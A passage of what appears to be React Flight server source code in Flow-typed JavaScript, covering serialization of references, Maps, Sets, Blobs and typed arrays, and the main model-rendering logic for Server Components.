calls toISOString.\n  // We need only tack on a $D prefix.\n  return '$D' + date.toJSON();\n}\n\nfunction serializeDateFromDateJSON(dateJSON: string): string {\n  // JSON.stringify automatically calls Date.prototype.toJSON which calls toISOString.\n  // We need only tack on a $D prefix.\n  return '$D' + dateJSON;\n}\n\nfunction serializeBigInt(n: bigint): string {\n  return '$n' + n.toString(10);\n}\n\nfunction serializeRowHeader(tag: string, id: number) {\n  return id.toString(16) + ':' + tag;\n}\n\nfunction encodeReferenceChunk(\n  request: Request,\n  id: number,\n  reference: string,\n): Chunk {\n  const json = stringify(reference);\n  const row = id.toString(16) + ':' + json + '\\n';\n  return stringToChunk(row);\n}\n\nfunction serializeClientReference(\n  request: Request,\n  parent:\n    | {+[propertyName: string | number]: ReactClientValue}\n    | $ReadOnlyArray<ReactClientValue>,\n  parentPropertyName: string,\n  clientReference: ClientReference<any>,\n): string {\n  const clientReferenceKey: ClientReferenceKey =\n    getClientReferenceKey(clientReference);\n  const writtenClientReferences = request.writtenClientReferences;\n  const existingId = writtenClientReferences.get(clientReferenceKey);\n  if (existingId !== undefined) {\n    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {\n      // If we're encoding the \"type\" of an element, we can refer\n      // to that by a lazy reference instead of directly since React\n      // knows how to deal with lazy values. This lets us suspend\n      // on this component rather than its parent until the code has\n      // loaded.\n      return serializeLazyID(existingId);\n    }\n    return serializeByValueID(existingId);\n  }\n  try {\n    const clientReferenceMetadata: ClientReferenceMetadata =\n      resolveClientReferenceMetadata(request.bundlerConfig, clientReference);\n    request.pendingChunks++;\n    const importId = request.nextChunkId++;\n    emitImportChunk(request, importId, clientReferenceMetadata, false);\n    writtenClientReferences.set(clientReferenceKey, importId);\n    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {\n      // If we're encoding the \"type\" of an element, we can refer\n      // to that by a lazy reference instead of directly since React\n      // knows how to deal with lazy values. This lets us suspend\n      // on this component rather than its parent until the code has\n      // loaded.\n      return serializeLazyID(importId);\n    }\n    return serializeByValueID(importId);\n  } catch (x) {\n    request.pendingChunks++;\n    const errorId = request.nextChunkId++;\n    const digest = logRecoverableError(request, x, null);\n    emitErrorChunk(request, errorId, digest, x, false, null);\n    return serializeByValueID(errorId);\n  }\n}\n\nfunction serializeDebugClientReference(\n  request: Request,\n  parent:\n    | {+[propertyName: string | number]: ReactClientValue}\n    | $ReadOnlyArray<ReactClientValue>,\n  parentPropertyName: string,\n  clientReference: ClientReference<any>,\n): string {\n  // Like serializeDebugClientReference but it doesn't dedupe in the regular set\n  // and it writes to completedDebugChunk instead of imports.\n  const clientReferenceKey: ClientReferenceKey =\n    getClientReferenceKey(clientReference);\n  const writtenClientReferences = request.writtenClientReferences;\n  const existingId = writtenClientReferences.get(clientReferenceKey);\n  if (existingId !== undefined) {\n    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {\n      // If we're encoding the \"type\" of an element, we can refer\n      // to that by a lazy reference instead of directly since React\n      // knows how to deal with lazy values. This lets us suspend\n      // on this component rather than its parent until the code has\n      // loaded.\n      return serializeLazyID(existingId);\n    }\n    return serializeByValueID(existingId);\n  }\n  try {\n    const clientReferenceMetadata: ClientReferenceMetadata =\n      resolveClientReferenceMetadata(request.bundlerConfig, clientReference);\n    request.pendingDebugChunks++;\n    const importId = request.nextChunkId++;\n    emitImportChunk(request, importId, clientReferenceMetadata, true);\n    if (parent[0] === REACT_ELEMENT_TYPE && parentPropertyName === '1') {\n      // If we're encoding the \"type\" of an element, we can refer\n      // to that by a lazy reference instead of directly since React\n      // knows how to deal with lazy values. This lets us suspend\n      // on this component rather than its parent until the code has\n      // loaded.\n      return serializeLazyID(importId);\n    }\n    return serializeByValueID(importId);\n  } catch (x) {\n    request.pendingDebugChunks++;\n    const errorId = request.nextChunkId++;\n    const digest = logRecoverableError(request, x, null);\n    emitErrorChunk(request, errorId, digest, x, true, null);\n    return serializeByValueID(errorId);\n  }\n}\n\nfunction outlineModel(request: Request, value: ReactClientValue): number {\n  return outlineModelWithFormatContext(\n    request,\n    value,\n    // For deduped values we don't know which context it will be reused in\n    // so we have to assume that it's the root context.\n    createRootFormatContext(),\n  );\n}\n\nfunction outlineModelWithFormatContext(\n  request: Request,\n  value: ReactClientValue,\n  formatContext: FormatContext,\n): number {\n  const newTask = createTask(\n    request,\n    value,\n    null, // The way we use outlining is for reusing an object.\n    false, // It makes no sense for that use case to be contextual.\n    formatContext, // Except for FormatContext we optimistically use it.\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? performance.now() // TODO: This should really inherit the time from the task.\n      : 0,\n    null, // TODO: Currently we don't associate any debug information with\n    null, // this object on the server. If it ends up erroring, it won't\n    null, // have any context on the server but can on the client.\n  );\n  retryTask(request, newTask);\n  return newTask.id;\n}\n\nfunction serializeServerReference(\n  request: Request,\n  serverReference: ServerReference<any>,\n): string {\n  const writtenServerReferences = request.writtenServerReferences;\n  const existingId = writtenServerReferences.get(serverReference);\n  if (existingId !== undefined) {\n    return serializeServerReferenceID(existingId);\n  }\n\n  const boundArgs: null | Array<any> = getServerReferenceBoundArguments(\n    request.bundlerConfig,\n    serverReference,\n  );\n  const bound = boundArgs === null ? null : Promise.resolve(boundArgs);\n  const id = getServerReferenceId(request.bundlerConfig, serverReference);\n\n  let location: null | ReactFunctionLocation = null;\n  if (__DEV__) {\n    const error = getServerReferenceLocation(\n      request.bundlerConfig,\n      serverReference,\n    );\n    if (error) {\n      const frames = parseStackTrace(error, 1);\n      if (frames.length > 0) {\n        const firstFrame = frames[0];\n        location = [\n          firstFrame[0],\n          firstFrame[1],\n          firstFrame[2], // The line and col of the callsite represents the\n          firstFrame[3], // enclosing line and col of the function.\n        ];\n      }\n    }\n  }\n\n  const serverReferenceMetadata: {\n    id: ServerReferenceId,\n    bound: null | Promise<Array<any>>,\n    name?: string, // DEV-only\n    env?: string, // DEV-only\n    location?: ReactFunctionLocation, // DEV-only\n  } =\n    __DEV__ && location !== null\n      ? {\n          id,\n          bound,\n          name:\n            typeof serverReference === 'function' ? serverReference.name : '',\n          env: (0, request.environmentName)(),\n          location,\n        }\n      : {\n          id,\n          bound,\n        };\n  const metadataId = outlineModel(request, serverReferenceMetadata);\n  writtenServerReferences.set(serverReference, metadataId);\n  return serializeServerReferenceID(metadataId);\n}\n\nfunction serializeTemporaryReference(\n  request: Request,\n  reference: string,\n): string {\n  return '$T' + reference;\n}\n\nfunction serializeLargeTextString(request: Request, text: string): string {\n  request.pendingChunks++;\n  const textId = request.nextChunkId++;\n  emitTextChunk(request, textId, text, false);\n  return serializeByValueID(textId);\n}\n\nfunction serializeDebugLargeTextString(request: Request, text: string): string {\n  request.pendingDebugChunks++;\n  const textId = request.nextChunkId++;\n  emitTextChunk(request, textId, text, true);\n  return serializeByValueID(textId);\n}\n\nfunction serializeMap(\n  request: Request,\n  map: Map<ReactClientValue, ReactClientValue>,\n): string {\n  const entries = Array.from(map);\n  const id = outlineModel(request, entries);\n  return '$Q' + id.toString(16);\n}\n\nfunction serializeFormData(request: Request, formData: FormData): string {\n  const entries = Array.from(formData.entries());\n  const id = outlineModel(request, (entries: any));\n  return '$K' + id.toString(16);\n}\n\nfunction serializeDebugFormData(request: Request, formData: FormData): string {\n  const entries = Array.from(formData.entries());\n  const id = outlineDebugModel(\n    request,\n    {objectLimit: entries.length * 2 + 1},\n    (entries: any),\n  );\n  return '$K' + id.toString(16);\n}\n\nfunction serializeSet(request: Request, set: Set<ReactClientValue>): string {\n  const entries = Array.from(set);\n  const id = outlineModel(request, entries);\n  return '$W' + id.toString(16);\n}\n\nfunction serializeDebugMap(\n  request: Request,\n  counter: {objectLimit: number},\n  map: Map<ReactClientValue, ReactClientValue>,\n): string {\n  // Like serializeMap but for renderDebugModel.\n  const entries = Array.from(map);\n  // The Map itself doesn't take up any space but the outlined object does.\n  counter.objectLimit++;\n  for (let i = 0; i < entries.length; i++) {\n    // Outline every object entry in case we run out of space to serialize them.\n    // Because we can't mark these values as limited.\n    const entry = entries[i];\n    doNotLimit.add(entry);\n    const key = entry[0];\n    const value = entry[1];\n    if (typeof key === 'object' && key !== null) {\n      doNotLimit.add(key);\n    }\n    if (typeof value === 'object' && value !== null) {\n      doNotLimit.add(value);\n    }\n  }\n  const id = outlineDebugModel(request, counter, entries);\n  return '$Q' + id.toString(16);\n}\n\nfunction serializeDebugSet(\n  request: Request,\n  counter: {objectLimit: number},\n  set: Set<ReactClientValue>,\n): string {\n  // Like serializeMap but for renderDebugModel.\n  const entries = Array.from(set);\n  // The Set itself doesn't take up any space but the outlined object does.\n  counter.objectLimit++;\n  for (let i = 0; i < entries.length; i++) {\n    // Outline every object entry in case we run out of space to serialize them.\n    // Because we can't mark these values as limited.\n    const entry = entries[i];\n    if (typeof entry === 'object' && entry !== null) {\n      doNotLimit.add(entry);\n    }\n  }\n  const id = outlineDebugModel(request, counter, entries);\n  return '$W' + id.toString(16);\n}\n\nfunction serializeIterator(\n  request: Request,\n  iterator: Iterator<ReactClientValue>,\n): string {\n  const id = outlineModel(request, Array.from(iterator));\n  return '$i' + id.toString(16);\n}\n\nfunction serializeTypedArray(\n  request: Request,\n  tag: string,\n  typedArray: $ArrayBufferView,\n): string {\n  request.pendingChunks++;\n  const bufferId = request.nextChunkId++;\n  emitTypedArrayChunk(request, bufferId, tag, typedArray, false);\n  return serializeByValueID(bufferId);\n}\n\nfunction serializeDebugTypedArray(\n  request: Request,\n  tag: string,\n  typedArray: $ArrayBufferView,\n): string {\n  if (typedArray.byteLength > 1000 && !doNotLimit.has(typedArray)) {\n    // Defer large typed arrays.\n    return serializeDeferredObject(request, typedArray);\n  }\n  request.pendingDebugChunks++;\n  const bufferId = request.nextChunkId++;\n  emitTypedArrayChunk(request, bufferId, tag, typedArray, true);\n  return serializeByValueID(bufferId);\n}\n\nfunction serializeDebugBlob(request: Request, blob: Blob): string {\n  const model: Array<string | Uint8Array> = [blob.type];\n  const reader = blob.stream().getReader();\n  request.pendingDebugChunks++;\n  const id = request.nextChunkId++;\n  function progress(\n    entry: {done: false, value: Uint8Array} | {done: true, value: void},\n  ): Promise<void> | void {\n    if (entry.done) {\n      emitOutlinedDebugModelChunk(\n        request,\n        id,\n        {objectLimit: model.length + 2},\n        model,\n      );\n      enqueueFlush(request);\n      return;\n    }\n    // TODO: Emit the chunk early and refer to it later by dedupe.\n    model.push(entry.value);\n    // $FlowFixMe[incompatible-call]\n    return reader.read().then(progress).catch(error);\n  }\n  function error(reason: mixed) {\n    const digest = '';\n    emitErrorChunk(request, id, digest, reason, true, null);\n    enqueueFlush(request);\n    // $FlowFixMe should be able to pass mixed\n    reader.cancel(reason).then(noop, noop);\n  }\n  // $FlowFixMe[incompatible-call]\n  reader.read().then(progress).catch(error);\n  return '$B' + id.toString(16);\n}\n\nfunction serializeBlob(request: Request, blob: Blob): string {\n  const model: Array<string | Uint8Array> = [blob.type];\n  const newTask = createTask(\n    request,\n    model,\n    null,\n    false,\n    createRootFormatContext(),\n    request.abortableTasks,\n    enableProfilerTimer &&\n      (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n      ? performance.now() // TODO: This should really inherit the time from the task.\n      : 0,\n    null, // TODO: Currently we don't associate any debug information with\n    null, // this object on the server. If it ends up erroring, it won't\n    null, // have any context on the server but can on the client.\n  );\n\n  const reader = blob.stream().getReader();\n\n  function progress(\n    entry: {done: false, value: Uint8Array} | {done: true, value: void},\n  ): Promise<void> | void {\n    if (newTask.status !== PENDING) {\n      return;\n    }\n    if (entry.done) {\n      request.cacheController.signal.removeEventListener('abort', abortBlob);\n      pingTask(request, newTask);\n      return;\n    }\n    // TODO: Emit the chunk early and refer to it later by dedupe.\n    model.push(entry.value);\n    // $FlowFixMe[incompatible-call]\n    return reader.read().then(progress).catch(error);\n  }\n  function error(reason: mixed) {\n    if (newTask.status !== PENDING) {\n      return;\n    }\n    request.cacheController.signal.removeEventListener('abort', abortBlob);\n    erroredTask(request, newTask, reason);\n    enqueueFlush(request);\n    // $FlowFixMe should be able to pass mixed\n    reader.cancel(reason).then(error, error);\n  }\n  function abortBlob() {\n    if (newTask.status !== PENDING) {\n      return;\n    }\n    const signal = request.cacheController.signal;\n    signal.removeEventListener('abort', abortBlob);\n    const reason = signal.reason;\n    if (request.type === PRERENDER) {\n      request.abortableTasks.delete(newTask);\n      haltTask(newTask, request);\n      finishHaltedTask(newTask, request);\n    } else {\n      // TODO: Make this use abortTask() instead.\n      erroredTask(request, newTask, reason);\n      enqueueFlush(request);\n    }\n    // $FlowFixMe should be able to pass mixed\n    reader.cancel(reason).then(error, error);\n  }\n\n  request.cacheController.signal.addEventListener('abort', abortBlob);\n\n  // $FlowFixMe[incompatible-call]\n  reader.read().then(progress).catch(error);\n\n  return '$B' + newTask.id.toString(16);\n}\n\nfunction escapeStringValue(value: string): string {\n  if (value[0] === '$') {\n    // We need to escape $ prefixed strings since we use those to encode\n    // references to IDs and as special symbol values.\n    return '$' + value;\n  } else {\n    return value;\n  }\n}\n\nlet modelRoot: null | ReactClientValue = false;\n\nfunction renderModel(\n  request: Request,\n  task: Task,\n  parent:\n    | {+[key: string | number]: ReactClientValue}\n    | $ReadOnlyArray<ReactClientValue>,\n  key: string,\n  value: ReactClientValue,\n): ReactJSONValue {\n  // First time we're serializing the key, we should add it to the size.\n  serializedSize += key.length;\n\n  const prevKeyPath = task.keyPath;\n  const prevImplicitSlot = task.implicitSlot;\n  try {\n    return renderModelDestructive(request, task, parent, key, value);\n  } catch (thrownValue) {\n    // If the suspended/errored value was an element or lazy it can be reduced\n    // to a lazy reference, so that it doesn't error the parent.\n    const model = task.model;\n    const wasReactNode =\n      typeof model === 'object' &&\n      model !== null &&\n      ((model: any).$$typeof === REACT_ELEMENT_TYPE ||\n        (model: any).$$typeof === REACT_LAZY_TYPE);\n\n    if (request.status === ABORTING) {\n      task.status = ABORTED;\n      if (request.type === PRERENDER) {\n        // This will create a new task and refer to it in this slot\n        // the new task won't be retried because we are aborting\n        return outlineHaltedTask(request, task, wasReactNode);\n      }\n      const errorId = (request.fatalError: any);\n      if (wasReactNode) {\n        return serializeLazyID(errorId);\n      }\n      return serializeByValueID(errorId);\n    }\n\n    const x =\n      thrownValue === SuspenseException\n        ? // This is a special type of exception used for Suspense. For historical\n          // reasons, the rest of the Suspense implementation expects the thrown\n          // value to be a thenable, because before `use` existed that was the\n          // (unstable) API for suspending. This implementation detail can change\n          // later, once we deprecate the old API in favor of `use`.\n          getSuspendedThenable()\n        : thrownValue;\n\n    if (typeof x === 'object' && x !== null) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof x.then === 'function') {\n        // Something suspended, we'll need to create a new task and resolve it later.\n        const newTask = createTask(\n          request,\n          task.model,\n          task.keyPath,\n          task.implicitSlot,\n          task.formatContext,\n          request.abortableTasks,\n          enableProfilerTimer &&\n            (enableComponentPerformanceTrack || enableAsyncDebugInfo)\n            ? task.time\n            : 0,\n          __DEV__ ? task.debugOwner : null,\n          __DEV__ ? task.debugStack : null,\n          __DEV__ ? task.debugTask : null,\n        );\n        const ping = newTask.ping;\n        (x: any).then(ping, ping);\n        newTask.thenableState = getThenableStateAfterSuspending();\n\n        // Restore the context. We assume that this will be restored by the inner\n        // functions in case nothing throws so we don't use \"finally\" here.\n        task.keyPath = prevKeyPath;\n        task.implicitSlot = prevImplicitSlot;\n\n        if (wasReactNode) {\n          return serializeLazyID(newTask.id);\n        }\n        return serializeByValueID(newTask.id);\n      }\n    }\n\n    // Restore the context. We assume that this will be restored by the inner\n    // functions in case nothing throws so we don't use \"finally\" here.\n    task.keyPath = prevKeyPath;\n    task.implicitSlot = prevImplicitSlot;\n\n    // Something errored. We'll still send everything we have up until this point.\n    request.pendingChunks++;\n    const errorId = request.nextChunkId++;\n    const digest = logRecoverableError(request, x, task);\n    emitErrorChunk(\n      request,\n      errorId,\n      digest,\n      x,\n      false,\n      __DEV__ ? task.debugOwner : null,\n    );\n    if (wasReactNode) {\n      // We'll replace this element with a lazy reference that throws on the client\n      // once it gets rendered.\n      return serializeLazyID(errorId);\n    }\n    // If we don't know if it was a React Node we render a direct reference and let\n    // the client deal with it.\n    return serializeByValueID(errorId);\n  }\n}\n\nfunction renderModelDestructive(\n  request: Request,\n  task: Task,\n  parent:\n    | {+[propertyName: string | number]: ReactClientValue}\n    | $ReadOnlyArray<ReactClientValue>,\n  parentPropertyName: string,\n  value: ReactClientValue,\n): ReactJSONValue {\n  // Set the currently rendering model\n  task.model = value;\n\n  if (__DEV__) {\n    if (parentPropertyName === __PROTO__) {\n      callWithDebugContextInDEV(request, task, () => {\n        console.error(\n          'Expected not to serialize an object with own property `__proto__`. When parsed this property will be omitted.%s',\n          describeObjectForErrorMessage(parent, parentPropertyName),\n        );\n      });\n    }\n  }\n\n  // Special Symbol, that's very common.\n  if (value === REACT_ELEMENT_TYPE) {\n    return '$';\n  }\n\n  if (value === null) {\n    return null;\n  }\n\n  if (typeof value === 'object') {\n    switch ((value: any).$$typeof) {\n      case REACT_ELEMENT_TYPE: {\n        let elementReference = null;\n        const writtenObjects = request.writtenObjects;\n        if (task.keyPath !== null || task.implicitSlot) {\n          // If we're in some kind of context we can't reuse the result of this render or\n          // previous renders of this element. We only reuse elements if they're not wrapped\n          // by another Server Component.\n        } else {\n          const existingReference = writtenObjects.get(value);\n          if (existingReference !== undefined) {\n            if (modelRoot === value) {\n              // This is the ID we're currently emitting so we need to write it\n              // once but if we discover it again, we refer to it by id.\n              modelRoot = null;\n            } else {\n              // We've already emitted this as an outlined object, so we can refer to that by its\n              // existing ID. TODO: We should use a lazy reference since, unlike plain objects,\n              // elements might suspend so it might not have emitted yet even if we have the ID for\n              // it. However, this creates an extra wrapper when it's not needed. We should really\n              // detect whether this already was emitted and synchronously available. In that\n              // case we can refer to it synchronously and only make it lazy otherwise.\n              // We currently don't have a data structure that lets us see that though.\n              return existingReference;\n            }\n          } else if (parentPropertyName.indexOf(':') === -1) {\n            // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n            const parentReference = writtenObjects.get(parent);\n            if (parentReference !== undefined) {\n              // If the parent has a reference, we can refer to this object indirectly\n              // through the property name inside that parent.\n              elementReference = parentReference + ':' + parentPropertyName;\n              writtenObjects.set(value, elementReference);\n            }\n          }\n        }\n\n        const element: ReactElement = (value: any);\n\n        if (serializedSize > MAX_ROW_SIZE) {\n          return deferTask(request, task);\n        }\n\n        if (__DEV__) {\n          const debugInfo: ?ReactDebugInfo = (value: any)._debugInfo;\n          if (debugInfo) {\n            // If this came from Flight, forward any debug info into this new row.\n            if (!canEmitDebugInfo) {\n              // We don't have a chunk to assign debug info. We need to outline this\n              // component to assign it an ID.\n              return outlineTask(request, task);\n            } else {\n              // Forward any debug info we have the first time we see it.\n              forwardDebugInfo(request, task, debugInfo);\n            }\n          }\n        }\n\n        const props = element.props;\n        // TODO: We should get the ref off the props object right before using\n        // it.\n        const refProp = props.ref;\n        const ref = refProp !== undefined ? refProp : null;\n\n        // Attempt to render the Server Component.\n\n        if (__DEV__) {\n          task.debugOwner = element._owner;\n          task.debugStack = element._debugStack;\n          task.debugTask = element._debugTask;\n          if (\n            element._owner === undefined ||\n            element._debugStack === undefined ||\n            element._debugTask === undefined\n          ) {\n            let key = '';\n            if (element.key !== null && element.key !== REACT_OPTIMISTIC_KEY) {\n              key = ' key=\"' + element.key + '\"';\n            }\n\n            console.error(\n              'Attempted to render <%s%s> without development properties. ' +\n                'This is not supported. It can happen if:' +\n                '\\n- The element is created with a production version of React but rendered in development.' +\n                '\\n- The element was cloned with a custom function instead of `React.cloneElement`.\\n' +\n                'The props of this element may help locate this element: %o',\n              element.type,\n              key,\n              element.props,\n            );\n          }\n          // TODO: Pop this. Since we currently don't have a point where we can pop the stack\n          // this debug information will be used for errors inside sibling properties that\n          // are not elements. Leading to the wrong attribution on the server. We could fix\n          // that if we switch to a proper stack instead of JSON.stringify's trampoline.\n          // Attribution on the client is still correct since it has a pop.\n        }\n\n        const newChild = renderElement(\n          request,\n          task,\n          element.type,\n          // $FlowFixMe[incompatible-call] the key of an element is null | string | ReactOptimisticKey\n          element.key,\n          ref,\n          props,\n          __DEV__ ? element._store.validated : 0,\n        );\n        if (\n          typeof newChild === 'object' &&\n          newChild !== null &&\n          elementReference !== null\n        ) {\n          // If this element renders another object, we can now refer to that object through\n          // the same location as this element.\n          if (!writtenObjects.has(newChild)) {\n            writtenObjects.set(newChild, elementReference);\n          }\n        }\n        return newChild;\n      }\n      case REACT_LAZY_TYPE: {\n        if (serializedSize > MAX_ROW_SIZE) {\n          return deferTask(request, task);\n        }\n\n        // Reset the task's thenable state before continuing. If there was one, it was\n        // from suspending the lazy before.\n        task.thenableState = null;\n\n        const lazy: LazyComponent<any, any> = (value: any);\n        let resolvedModel;\n        if (__DEV__) {\n          resolvedModel = callLazyInitInDEV(lazy);\n        } else {\n          const payload = lazy._payload;\n          const init = lazy._init;\n          resolvedModel = init(payload);\n        }\n        if (request.status === ABORTING) {\n          // lazy initializers are user code and could abort during render\n          // we don't wan to return any value resolved from the lazy initializer\n          // if it aborts so we interrupt rendering here\n          // eslint-disable-next-line no-throw-literal\n          throw null;\n        }\n        if (__DEV__) {\n          const debugInfo: ?ReactDebugInfo = lazy._debugInfo;\n          if (debugInfo) {\n            // If this came from Flight, forward any debug info into this new row.\n            if (!canEmitDebugInfo) {\n              // We don't have a chunk to assign debug info. We need to outline this\n              // component to assign it an ID.\n              return outlineTask(request, task);\n            } else {\n              // Forward any debug info we have the first time we see it.\n              // We do this after init so that we have received all the debug info\n              // from the server by the time we emit it.\n              forwardDebugInfo(request, task, debugInfo);\n            }\n          }\n        }\n        return renderModelDestructive(\n          request,\n          task,\n          parent,\n          parentPropertyName,\n          resolvedModel,\n        );\n      }\n      case REACT_LEGACY_ELEMENT_TYPE: {\n        throw new Error(\n          'A React Element from an older version of React was rendered. ' +\n            'This is not supported. It can happen if:\\n' +\n            '- Multiple copies of the \"react\" package is used.\\n' +\n            '- A library pre-bundled an old copy of \"react\" or \"react/jsx-runtime\".\\n' +\n            '- A compiler tries to \"inline\" JSX instead of using the runtime.',\n        );\n      }\n    }\n\n    if (isClientReference(value)) {\n      return serializeClientReference(\n        request,\n        parent,\n        parentPropertyName,\n        (value: any),\n      );\n    }\n\n    if (request.temporaryReferences !== undefined) {\n      const tempRef = resolveTemporaryReference(\n        request.temporaryReferences,\n        value,\n      );\n      if (tempRef !== undefined) {\n        return serializeTemporaryReference(request, tempRef);\n      }\n    }\n\n    if (enableTaint) {\n      const tainted = TaintRegistryObjects.get(value);\n      if (tainted !== undefined) {\n        throwTaintViolation(tainted);\n      }\n    }\n\n    const writtenObjects = request.writtenObjects;\n    const existingReference = writtenObjects.get(value);\n    // $FlowFixMe[method-unbinding]\n    if (typeof value.then === 'function') {\n      if (existingReference !== undefined) {\n        if (task.keyPath !== null || task.implicitSlot) {\n          // If we're in some kind of context we can't reuse the result of this render or\n          // previous renders of this element. We only reuse Promises if they're not wrapped\n          // by another Server Component.\n          const promiseId = serializeThenable(request, task, (value: any));\n          return serializePromiseID(promiseId);\n        } else if (modelRoot === value) {\n          // This is the ID we're currently emitting so we need to write it\n          // once but if we discover it again, we refer to it by id.\n          modelRoot = null;\n        } else {\n          // We've seen this promise before, so we can just refer to the same result.\n          return existingReference;\n        }\n      }\n      // We assume that any object with a .then property is a \"Thenable\" type,\n      // or a Promise type. Either of which can be represented by a Promise.\n      const promiseId = serializeThenable(request, task, (value: any));\n      const promiseReference = serializePromiseID(promiseId);\n      writtenObjects.set(value, promiseReference);\n      return promiseReference;\n    }\n\n    if (existingReference !== undefined) {\n      if (modelRoot === value) {\n        if (existingReference !== serializeByValueID(task.id)) {\n          // Turns out that we already have this root at a different reference.\n          // Use that after all.\n          return existingReference;\n        }\n        // This is the ID we're currently emitting so we need to write it\n        // once but if we discover it again, we refer to it by id.\n        modelRoot = null;\n      } else {\n        // We've already emitted this as an outlined object, so we can\n        // just refer to that by its existing ID.\n        return existingReference;\n      }\n    } else if (parentPropertyName.indexOf(':') === -1) {\n      // TODO: If the property name contains a colon, we don't dedupe. Escape instead.\n      const parentReference = writtenObjects.get(parent);\n      if (parentReference !== undefined) {\n        // If the parent has a reference, we can refer to this object indirectly\n        // through the property name inside that parent.\n        let propertyName = parentPropertyName;\n        if (isArray(parent) && parent[0] === REACT_ELEMENT_TYPE) {\n          // For elements, we've converted it to an array but we'll have converted\n          // it back to an element before we read the references so the property\n          // needs to be aliased.\n          switch (parentPropertyName) {\n            case '1':\n              propertyName = 'type';\n              break;\n            case '2':\n              propertyName = 'key';\n              break;\n            case '3':\n              propertyName = 'props';\n              break;\n            case '4':\n              propertyName = '_owner';\n              break;\n          }\n        }\n        writtenObjects.set(value, parentReference + ':' + propertyName);\n      }\n    }\n\n    if (isArray(value)) {\n      return renderFragment(request, task, value);\n    }\n\n    if (value instanceof Map) {\n      return serializeMap(request, value);\n    }\n    if (value instanceof Set) {\n      return serializeSet(request, value);\n    }\n    // TODO: FormData is not available in old Node. Remove the typeof later.\n    if (typeof FormData === 'function' && value instanceof FormData) {\n      return serializeFormData(request, value);\n    }\n    if (value instanceof Error) {\n      return serializeErrorValue(request, value);\n    }\n    if (value instanceof ArrayBuffer) {\n      return serializeTypedArray(request, 'A', new Uint8Array(value));\n    }\n    if (value instanceof Int8Array) {\n      // char\n      return serializeTypedArray(request, 'O', value);\n    }\n    if (value instanceof Uint8Array) {\n      // unsigned char\n      return serializeTypedArray(request, 'o', value);\n    }\n    if (value instanceof Uint8ClampedArray) {\n      // unsigned clamped char\n      return serializeTypedArray(request, 'U', value);\n    }\n    if (value instanceof Int16Array) {\n      // sort\n      return serializeTypedArray(request, 'S', value);\n    }\n    if (value instanceof Uint16Array) {\n      // unsigned short\n      return serializeTypedArray(request, 's', value);\n    }\n    if (value instanceof Int32Array) {\n      // long\n      return serializeTypedArray(request, 'L', value);\n    }\n    if (value instanceof Uint32Array) {\n      // unsigned long\n      return serializeTypedArray(request, 'l', value);\n    }\n    if (value instanceof Float32Array) {\n      // float\n      return serializeTypedArray(request, 'G', value);\n    }\n    if (value instanceof Float64Array) {\n      // double\n      return serializeTypedArray(request, 'g', value);\n    }\n    if (value instanceof BigInt64Array) {\n      // number\n      return serializeTypedArray(request, 'M', value);\n    }\n    if (value instanceof BigUint64Array) {\n      // unsigned number\n      // We use \"m\" instead of \"n\" since JSON can start with \"null\"\n      return serializeTypedArray(request, 'm', value);\n    }\n    if (value instanceof DataView) {\n      return serializeTypedArray(request, 'V', value);\n    }\n    // TODO: Blob is not available in old Node. Remove the typeof check later.\n    if (typeof Blob === 'function' && value instanceof Blob) {\n      return serializeBlob(request, value);\n    }\n\n    const iteratorFn = getIteratorFn(value);\n    if (iteratorFn) {\n      // TODO: Should we serialize the return value as well like we do for AsyncIterables?\n      const iterator = iteratorFn.call(value);\n      if (iterator === value) {\n        // Iterator, not Iterable\n        return serializeIterator(request, (iterator: any));\n      }\n      return renderFragment(request, task, Array.from((iterator: any)));\n    }\n\n    // TODO: Blob is not available in old Node. Remove the typeof check later.\n    if (\n      typeof ReadableStream === 'function' &&\n      value instanceof ReadableStream\n    ) {\n      return serializeReadableStream(request, task, value);\n    }\n    const getAsyncIterator: void | (() => $AsyncIterator<any, any, any>) =\n      (value: any)[ASYNC_ITERATOR];\n    if (typeof getAsyncIterator === 'function') {\n      // We treat AsyncIterables as a Fragment and as such we might need to key them.\n      return renderAsyncFragment(request, task, (value: any), getAsyncIterator);\n    }\n\n    // We put the Date check low b/c most of the time Date's will already have been serialized\n    // before we process it in this function but when rendering a Date() as a top level it can\n    // end up being a Date instance here. This is rare so we deprioritize it by putting it deep\n    // in this function\n    if (value instanceof Date) {\n      return serializeDate(value);\n    }\n\n    // Verify that this is a simple plain object.\n    const proto = getPrototypeOf(value);\n    if (\n      proto !== ObjectPrototype &&\n      (proto === null || getPrototypeOf(proto) !== null)\n    ) {\n      throw new Error(\n        'Only plain objects, and a few built-ins, can be passed to Client Components ' +\n          'from Server Components. Classes or null prototypes are not supported.' +\n          describeObjectForErrorMessage(parent, parentPropertyName),\n      );\n    }\n    if (__DEV__) {\n      if (objectName(value) !== 'Object') {\n        callWithDebugContextInDEV(request, task, () => {\n          console.error(\n            'Only plain objects can be passed to Client Components from Server Components. ' +\n              '%s objects are not supported.%s',\n            objectName(value),\n            describeObjectForErrorMessage(parent, parentPropertyName),\n          );\n        });\n      } else if (!isSimpleObject(value)) {\n        callWithDebugContextInDEV(request, task, () => {\n          console.error(\n            'Only plain objects can be passed to Client Components from Server Components. ' +\n              'Classes or other objects with methods are not supported.%s',\n            describeObjectForErrorMessage(parent, parentPropertyName),\n          );\n        });\n      } else if (Object.getOwnPropertySymbols) {\n        const symbols = Object.getOwnPropertySymbols(value);\n        if (symbols.length > 0) {\n          callWithDebugContextInDEV(request, task, () => {\n            console.error(\n              'Only plain objects can be passed to Client Components from Server Components. ' +\n                'Objects with symbol properties like %s are not supported.%s',\n              symbols[0].description,\n              describeObjectForErrorMessage(parent, parentPropertyName),\n            );\n          });\n        }\n      }\n    }\n\n    // $FlowFixMe[incompatible-return]\n    return value;\n  }\n\n  if (typeof value === 'string') {\n    if (enableTaint) {\n      const tainted = TaintRegistryValues.get(value);\n      if (tainted !== undefined) {\n        throwTaintViolation(tainted.message);\n      }\n    }\n    serializedSize += value.length;\n    // TODO: Maybe too clever. If we support URL there's no similar trick.\n    if (value[value.length - 1] === 'Z') {\n      // Possibly a Date, whose toJSON automatically calls toISOString\n      // $FlowFixMe[incompatible-use]\n      const originalValue = parent[parentPropertyName];\n      if (originalValue instanceof Date) 